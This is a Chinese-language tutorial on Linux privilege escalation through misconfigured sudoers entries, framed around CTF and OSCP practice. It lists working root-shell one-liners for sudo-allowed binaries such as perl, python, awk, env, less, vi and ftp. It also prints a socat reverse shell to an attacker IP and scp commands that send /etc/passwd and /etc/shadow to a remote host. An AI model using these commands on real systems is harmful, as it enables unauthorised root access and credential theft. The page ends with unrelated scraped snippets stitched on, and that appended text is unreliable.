使用sudo进行Linux权限升级技巧
0x00 前言
在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧”的方法。 在解决CTF挑战时,对于权限提升,我们始终通过执行sudo -l命令来检查任何用户执行任何文件或命令的root权限。 您可以阅读我们之前的文章,其中我们已应用此技巧进行权限提升。
0x01 sudoer基础
1.基本概念
在Linux/Unix中,/etc目录下的sudoers文件是sudo权限的配置文件。我们都知道sudo命令的强大功能,sudo这个词代表了超级用户权限。Sudoers文件是存储具有root权限的用户和组的文件,以root或其他用户身份运行部分或全部命令。请看下图:

当与sudo一起运行任何命令时,它需要root权限才能执行,Linux会检查sudoers文件中的特定用户名。并给出结论,特定的用户名是否在sudoers文件列表中,如果没有,那么就不能使用sudo命令运行命令或程序。根据sudo权限,root用户可以从ALL终端执行,充当所有用户:all group,并运行ALL命令。
2.Sudoer文件语法
如果(root用户)希望授予任何特定用户sudo权限,请输入visudo命令,该命令将打开sudoers文件进行编辑。在用户权限规范下,您将看到默认的root权限“root ALL =(ALL:ALL)ALL”,但在实际情况下,还提供了标记选项,这是可选的,如下图所示。
考虑下面的示例,我们要为用户raaz分配sudo权限,raaz访问终端并使用root权限运行copy命令。这里没有密码标签,这意味着不会为用户请求密码。
注意:
- (ALL:ALL)也可以表示为(ALL)
- 如果您找到(root)代替(ALL:ALL),则表示用户可以以root身份运行该命令
- 如果没有提及用户或组,则表示sudo默认为root用户

让我们深入了解实际情况。首先,创建一个不属于sudo组的用户。这里我们添加了用户“raaz”,其uid为1002,gid为1002,因此raaz是非root用户

0x02 分配root权限的方法
1.分配Root权限的传统方法
如果系统管理员希望授予用户raaz所有权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。
visudo
raaz ALL=(ALL:ALL) ALL
or
raaz ALL=(ALL) ALL

(1) 生成root访问
另一方面,启动攻击主机,首先攻击目标系统,然后进入特权提升阶段。假设您成功地通过ssh登录到受害者的主机,并且想知道当前用户的sudo权限,然后执行下面的命令
sudo -l
在传统方法中,passwd选项在执行上述命令的同时来启用用户身份验证,并且可以使用nopasswd选项来禁用它。突出显示的文本表示当前用户被授权执行的所有命令。因此,我们通过执行命令获得了root访问权限。
sudo su
id

2.分配root权限的默认方法
如果系统管理员想要授予用户raaz执行所有命令和程序的root权限,那么他可以按照以下步骤在用户权限规范类别下添加用户raaz。
visudo
raaz ALL=ALL
or
raaz ALL=(root) ALL
此处还启用了默认的passwd选项来进行身份验证。

(1).生成root访问
再次攻击目标系统,然后按照上述步骤进入权限提升阶段,并执行以下命令以查看sudo用户列表
sudo -l
在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行所有命令。。因此,我们可以通过执行更多的下行步骤来实现root访问
注意:在执行sudo-l命令时,上述两种方法都会要求用户密码进行身份验证,因为默认情况下启用了passwd选项。

0x03 提权技巧
1.允许二进制命令的Root权限
有时用户有权执行特定目录的任何文件或命令,如/bin/cp、/bin/cat或/usr/bin/find,这种类型的权限会导致root权限的权限提升,可以通过以下步骤来实现。
raaz ALL=(root) NOPASSWD: /usr/bin/find
注意:此处NOPASSWD选项表示在运行sudo -l命令时将不会为身份验证请求密码。

(1) 使用Find命令生成Root访问权限
再次攻击受害者的系统,然后进入特权升级阶段,执行下面的命令查看sudo用户列表。
sudo -l
此时,您可以注意到突出显示的文本表示用户raaz可以通过find命令运行任何命令。因此,我们通过执行以下命令获得root访问权限。
2.允许二进制程序的root权限
有时,管理员会为特定用户分配精细的权限,以运行二进制程序,允许用户编辑任何系统文件,如/etc/passwd等。如果授权给用户,某些二进制程序可能会导致权限提升。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。
raaz ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi

(1) 使用Perl单命令生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l
现在您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行Perl语言程序或脚本。因此,我们通过执行Perl单命令获得root访问权限。
sudo perl -e 'exec "/bin/bash";'
id

(2) 使用Python单命令生成shell
在攻击目标系统之后,然后如上所述那样进入特权提升阶段,执行以下命令以查看sudo用户列表
sudo -l
此时,您可以看到突出显示的文本,显示用户raaz可以以root用户身份运行python语言程序或脚本。因此,我们通过执行python单命令获得root访问权限。
sudo python -c 'import pty;pty.spawn("/bin/bash")'
id

(3) 使用Less命令生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l

在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行less命令。因此,我们通过执行以下命令来获得root访问权限。
sudo less /etc/hosts

它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。
您将获得root访问权限,如下图所示。
(4) 使用AWK单命令生成shell
在攻击受害者系统之后,目标系统会像上述那样进入特权提升阶段,执行以下命令以查看sudo用户列表
sudo -l
在此阶段,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行AWK命令。因此,我们通过执行以下命令来获得root访问权限。
sudo awk 'BEGIN {system("/bin/bash")}'
id

(5) 使用Man命令生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l
在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行man命令。因此,我们通过执行以下命令来获得root访问权限。
sudo man man

它将打开请求的系统文件进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。

您将获得root访问权限,如下图所示。

(6) 使用Vi编辑器生成shell
权限提升时,在权限提升阶段执行以下命令以查看sudo用户列表。
sudo -l
在这里,您可以看到突出显示的文本,该文本表示用户raaz可以以root用户身份运行vi命令。因此,我们通过执行以下命令来获得root访问权限。
sudo vi

因此,它将打开vi编辑器进行编辑,但是为了生成root shell,在编辑器中输入!bash,并按Enter键生成。就可以像上面那样使用less命令获得root权限。

您将获得root访问权限,如下图所示。
id
whoami
注意:对less,nano,man,vi和man的sudo的权限非常危险,因为它们允许用户编辑系统文件并导致权限提升。

3.允许Shell脚本的root权限
对于系统或程序调用,有最大的机会获得任何类型的脚本的权限提升,它可以是任何脚本(bash、php、python或c语言脚本)。假设您(系统管理员)想要对任何将在执行时提供bash shell的脚本赋予sudo权限。
例如,我们有一些脚本将在执行时提供root命令终端,在下图中,您可以看到我们已经编写了3个程序,通过使用不同的编程语言来获取bash shell,并将所有三个文件都保存在bin/script中,该三个文件为:asroot.py、asroot.sh、asroot.c(编译文件shell)
注意:在解决OSCP挑战时,您会发现某些脚本被作者隐藏,用于利用内核或root shell,并为任何特定用户设置sudo权限以执行该脚本。

现在允许raaz以root用户身份运行以上所有脚本,方法是在以下命令的帮助下编辑sudoers文件。
raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell

(1) 通过执行Bash脚本生成root shell
执行下面的权限提升命令以查看sudo用户列表。
sudo -l
突出显示的文本显示用户raaz可以作为root用户运行asroot.sh。因此,我们通过运行asroot.sh脚本获得root访问权限。
sudo /bin/script/asroot.sh
id

(2) 通过执行Python脚本生成root shell
执行下面的权限提升命令以查看sudo用户列表
sudo -l
此时,突出显示的文本显示用户raaz可以作为root用户运行asroot.py。因此,我们通过执行以下脚本获取了root访问权限。
sudo /bin/script/asroot.py
id

(3) 通过执行C语言脚本生成root shell
在攻击目标系统之后,执行下面的权限提升命令以查看sudo用户列表。
sudo -l
在这里,您可以看到突出显示的文本,表示用户raaz可以以root用户身份运行shell(asroot.c编译文件)。所以我们通过执行以下shell获得了root访问权限。
sudo /bin/script/shell
id

4.允许其他程序的sudo权限
正如上面所看到的那样,一些具有sudo权限的二进制程序有助于获得root访问权限。但除此之外,还有一些应用程序可以活得root访问权限,如果拥有sudo权限,如FTP或socat。在下面给出的命令中,我们为以下程序分配了sudo权限,该程序可以以root用户身份运行。
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

(1) 使用环境生成Shell
在权限提升阶段,执行以下命令查看sudo用户列表。
sudo -l
正如我们可以看到的用户:raaz对env、ftp、scp和socat拥有sudo权限,现在让我们逐个尝试通过它们获得root访问权限。
sudo env /bin/bash
whoami

(2) 使用FTP生成Shell
现在让我们尝试使用以下命令通过FTP获得root访问权限:
sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami

(3) 使用Socat生成Shell
现在让我们尝试通过socat在以下命令的帮助下获得root访问权限。在攻击者的终端上执行以下命令,以使侦听器能够进行反向连接。
socat file:`tty`,raw,echo= tcp-listen:
然后在受害者的主机上运行以下命令,您将在攻击者计算机上获得root访问权限。
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:


(4) 通过SCP生成shell
正如我们所知,sudo权限对于scp是可用的,但不可能获得如上所示的bash shell目录,因为它是一种安全地在本地主机和远程主机之间移动任何文件的方法。因此,我们可以使用它来传输那些需要root权限来执行读/写操作的系统文件,例如/etc/passwd和/etc/shadow文件。
语法: scp SourceFile user@host:~/目录路径
sudo scp /etc/passwd aarti@192.168.1.105:~/
sudo scp /etc/shadow aarti@192.168.1.105:~/

现在让我们通过检查远程目录来确认,正如您看到的那样,我们在远程PC中成功地接收到了passwd和shadow文件。

使用sudo进行Linux权限升级技巧的更多相关文章
- 使用PATH变量进行Linux权限升级技巧
0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...
- 使用SUID二进制文件进行Linux权限升级技巧
0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...
- 使用LD_Preload的Linux权限升级技巧
0x00 前言 共享库是程序在启动时加载的库.正确安装共享库后,之后启动的所有程序将自动使用新的共享库. 0x01 共享库名称 每个共享库都有一个名为soname的特殊名称.soname有前缀li ...
- 编辑/etc/passwd文件进行权限升级的技巧
0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...
- Security基础(一):Linux基本防护措施、使用sudo分配管理权限、提高SSH服务安全
一.Linux基本防护措施 目标: 本案例要求练习Linux系统的基本防护措施,完成以下任务: 修改用户zhangsan的账号属性,设置为2015-12-31日失效(禁止登录) 锁定用户lisi的账户 ...
- 给新手的 10 个有用 Linux 命令行技巧
我记得我第一次使用 Linux 的时候,我还习惯于 Windows 的图形界面,我真的很讨厌 Linux 终端.那时候我觉得命令难以记忆,不能正确使用它们.随着时间推移,我意识到了 Linux 终端的 ...
- linux===给新手的 10 个有用 Linux 命令行技巧(转)
本文转自:http://www.codeceo.com/article/10-linux-useful-command.html?ref=myread 仅用作学习交流使用.如有侵权,立删 我记得我第一 ...
- Shell基础:Linux权限管理
Linux权限基本概念 查看系统(文件夹/文件)权限: ls -l =>d/- xxx xxx xxx. num owner group size date filename ...
- Linux权限管理(week1_day5)--技术流ken
权限概述 Linux系统一般将文件可存/取访问的身份分为3个类别:owner(拥有者).group(和所有者同组的用户).others(其他人,除了所有者,除了同组的用户以及除了超级管理员),且3种身 ...
随机推荐
- python开发笔记-str转字典
后台接收到post请求数据格式为json格式的字符串,不能直接用字典的get方法 909090909090909090909090909090909 Internal Server Error: /g ...
- 码云push时提示 DeployKey does not support push code fatal: Could not read from remote repository.
一.如果需要push代码到码云,需要创建个人公钥,公共公钥只可以读不可以修改 二.执行代码即可:git push
- CentOS7下的CDH 6.2.0 安装过程
#install OS centos 7.5#install lsb packageyum install -y redhat-lsb #install net-tools package yum i ...
- 【WPF】修改ListBox的Item的样式
<ListBox> <!-- 数据 --> <ListBoxItem>AAAA</ListBoxItem> <ListBoxItem>BB& ...
- Java13新特性 -- switch表达式
引入了yield语句,用于返回值: 和return的区别在于:return会直接跳出当前循环或者方法,而yield只会跳出当前switch块. @Test public void testSwitch ...
- 脚本备份MySQL数据库和binlog日志
用Mysqldump实现全库备份+binlog的数据还原 首先是为mysql做指定库文件的全库备份 vim mysqlbak.sh #!/bin/bash #定义数据库目录,要能找到mysqldump ...
- Qt编写安防视频监控系统16-设备播放
一.前言 设备播放模块是后面增加的,核心就是通过组合rtsp视频流地址来播放实时视频和历史视频,目前市面上很多厂家比如排第一的海康都是支持直接rtsp通过NVR来播放某个通道视频流和回放某个通道的视频 ...
- Python - Django - 中间件 process_response
process_response 函数是执行完 views.py 后执行的函数 process_response 函数有两个参数,一个是 request,一个是 response,response 是 ...
- 量化编程技术—pdb进行调试
# -*- coding: utf-8 -*- # @Date: 2017-08-26 # @Original: import pdb def gen_buy_change_list(): buy_c ...
- Rancher容器目录持久化
最近一直在研究Rancher的持久化问题. 目前已找到两种方式实现Rancher里的容器文件实现持久化方法. 方法一: 配置映射(只适用单个文件,不适用于目录) 这个算不上是真正的持久化,只是相当于配 ...